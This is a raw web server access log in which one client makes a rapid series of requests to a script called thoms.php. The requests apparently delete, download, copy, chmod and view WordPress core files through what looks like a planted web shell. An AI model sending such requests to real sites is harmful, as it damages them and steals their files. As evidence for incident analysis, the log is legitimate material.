45.135.193.11 - - [11/Sep/2026:23:45:27 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Ffonts&p= HTTP/1.1" 200 12400 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Ffonts&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:27 -0400] "GET /thoms.php?del=theme-compat&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59457 "http://163.245.207.76:443/thoms.php?del=theme-compat&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:27 -0400] "GET /thoms.php?dl=class-wp-http-response.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59414 "http://163.245.207.76:443/thoms.php?dl=class-wp-http-response.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:27 -0400] "GET /thoms.php?del=js&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59410 "http://163.245.207.76:443/thoms.php?del=js&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:28 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-date-query.php HTTP/1.1" 200 22663 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-date-query.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:28 -0400] "GET /booking-wise2.com.tw/wp-includes/class-wp-textdomain-registry.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:28 -0400] "GET /thoms.php?del=block-editor.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59412 "http://163.245.207.76:443/thoms.php?del=block-editor.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:28 -0400] "GET /thoms.php?chmod=class-wp-recovery-mode-email-service.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11548 "http://163.245.207.76:443/thoms.php?chmod=class-wp-recovery-mode-email-service.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:28 -0400] "GET /booking-wise2.com.tw/wp-includes/class-wp-simplepie-file.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:28 -0400] "GET /booking-wise2.com.tw/wp-includes/global-styles-and-settings.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:28 -0400] "GET /thoms.php?del=class-wp-theme.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59414 "http://163.245.207.76:443/thoms.php?del=class-wp-theme.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:29 -0400] "GET /thoms.php?chmod=spl-autoload-compat.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11533 "http://163.245.207.76:443/thoms.php?chmod=spl-autoload-compat.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:28 -0400] "GET /thoms.php?del=class-wp-block.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?del=class-wp-block.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:28 -0400] "GET /thoms.php?del=functions.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59391 "http://163.245.207.76:443/thoms.php?del=functions.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:29 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Ftemplate-canvas.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11897 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Ftemplate-canvas.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:29 -0400] "GET /booking-wise2.com.tw/wp-includes/l10n/ HTTP/1.1" 200 1313 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:29 -0400] "GET /thoms.php?dl=widgets.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59466 "http://163.245.207.76:443/thoms.php?dl=widgets.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:29 -0400] "GET /thoms.php?del=block-patterns.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59412 "http://163.245.207.76:443/thoms.php?del=block-patterns.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:29 -0400] "GET /thoms.php?del=class-wp-locale-switcher.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59412 "http://163.245.207.76:443/thoms.php?del=class-wp-locale-switcher.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:29 -0400] "GET /thoms.php?dl=canonical.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?dl=canonical.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:30 -0400] "GET /booking-wise2.com.tw/wp-includes/https-detection.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:30 -0400] "GET /thoms.php?del=class-wp-rewrite.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59320 "http://163.245.207.76:443/thoms.php?del=class-wp-rewrite.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:30 -0400] "GET /booking-wise2.com.tw/wp-includes/abilities.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:30 -0400] "GET /booking-wise2.com.tw/wp-includes/blocks.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:30 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fscript-loader.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11887 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fscript-loader.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:30 -0400] "GET /booking-wise2.com.tw/wp-includes/class-wp-locale-switcher.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:30 -0400] "GET /thoms.php?chmod=class-wp-http-streams.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11545 "http://163.245.207.76:443/thoms.php?chmod=class-wp-http-streams.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:30 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-simplepie.php HTTP/1.1" 200 12174 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-simplepie.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:30 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=bookmark-template.php HTTP/1.1" 200 15885 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=bookmark-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:30 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-theme-json-schema.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11893 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-theme-json-schema.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:30 -0400] "GET /thoms.php?chmod=class-wp-user-request.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11531 "http://163.245.207.76:443/thoms.php?chmod=class-wp-user-request.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:30 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-smtp.php HTTP/1.1" 200 12141 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-smtp.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:30 -0400] "GET /thoms.php?chmod=class-smtp.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11537 "http://163.245.207.76:443/thoms.php?chmod=class-smtp.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:31 -0400] "GET /thoms.php?chmod=class-wp-embed.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11530 "http://163.245.207.76:443/thoms.php?chmod=class-wp-embed.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:31 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fconnectors.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11881 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fconnectors.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:31 -0400] "GET /thoms.php?del=class-walker-comment.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59393 "http://163.245.207.76:443/thoms.php?del=class-walker-comment.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:31 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=error-protection.php HTTP/1.1" 200 13424 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=error-protection.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:31 -0400] "GET /thoms.php?del=class-wp-ajax-response.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59406 "http://163.245.207.76:443/thoms.php?del=class-wp-ajax-response.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:31 -0400] "GET /thoms.php?chmod=atomlib.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11526 "http://163.245.207.76:443/thoms.php?chmod=atomlib.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:31 -0400] "GET /thoms.php?del=feed-rss2-comments.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59412 "http://163.245.207.76:443/thoms.php?del=feed-rss2-comments.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:31 -0400] "GET /thoms.php?chmod=class-wp-block-list.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11531 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-list.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:31 -0400] "GET /thoms.php?del=class-IXR.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59377 "http://163.245.207.76:443/thoms.php?del=class-IXR.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:32 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-http.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11886 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-http.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:31 -0400] "GET /thoms.php?del=class-wp-admin-bar.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59496 "http://163.245.207.76:443/thoms.php?del=class-wp-admin-bar.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:32 -0400] "GET /booking-wise2.com.tw/wp-includes/class-wp-query.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:32 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-locale.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11898 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-locale.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:32 -0400] "GET /thoms.php?dl=class-wp-http.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59397 "http://163.245.207.76:443/thoms.php?dl=class-wp-http.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:32 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=meta.php HTTP/1.1" 200 26744 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=meta.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:32 -0400] "GET /thoms.php?chmod=ms-functions.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11539 "http://163.245.207.76:443/thoms.php?chmod=ms-functions.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:32 -0400] "GET /booking-wise2.com.tw/wp-includes/ms-network.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:32 -0400] "GET /thoms.php?dl=class-wp-walker.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?dl=class-wp-walker.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:32 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=registration-functions.php HTTP/1.1" 200 12070 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=registration-functions.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:32 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=wp-db.php HTTP/1.1" 200 12161 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=wp-db.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:33 -0400] "GET /booking-wise2.com.tw/wp-includes/class-wp-oembed-controller.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:33 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-http-encoding.php HTTP/1.1" 200 14309 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-http-encoding.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:32 -0400] "GET /thoms.php?dl=version.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?dl=version.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:33 -0400] "GET /thoms.php?chmod=class-wp-text-diff-renderer-table.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11550 "http://163.245.207.76:443/thoms.php?chmod=class-wp-text-diff-renderer-table.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:33 -0400] "GET /thoms.php?del=class-wp-scripts.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59414 "http://163.245.207.76:443/thoms.php?del=class-wp-scripts.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:33 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Ffeed-rss2.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11894 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Ffeed-rss2.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:33 -0400] "GET /thoms.php?del=comment.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59411 "http://163.245.207.76:443/thoms.php?del=comment.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:33 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fms-settings.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11894 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fms-settings.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:33 -0400] "GET /thoms.php?dl=ms-deprecated.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?dl=ms-deprecated.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:33 -0400] "GET /booking-wise2.com.tw/wp-includes/class-wp-plugin-dependencies.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:34 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-paused-extensions-storage.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11897 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-paused-extensions-storage.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:34 -0400] "GET /booking-wise2.com.tw/wp-includes/class-wp-session-tokens.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:34 -0400] "GET /booking-wise2.com.tw/wp-includes/ms-blogs.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:33 -0400] "GET /thoms.php?dl=class-wp-customize-manager.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59412 "http://163.245.207.76:443/thoms.php?dl=class-wp-customize-manager.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:34 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=date.php HTTP/1.1" 200 12152 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=date.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:34 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=ms-settings.php HTTP/1.1" 200 13655 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=ms-settings.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:34 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fregistration.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11886 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fregistration.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
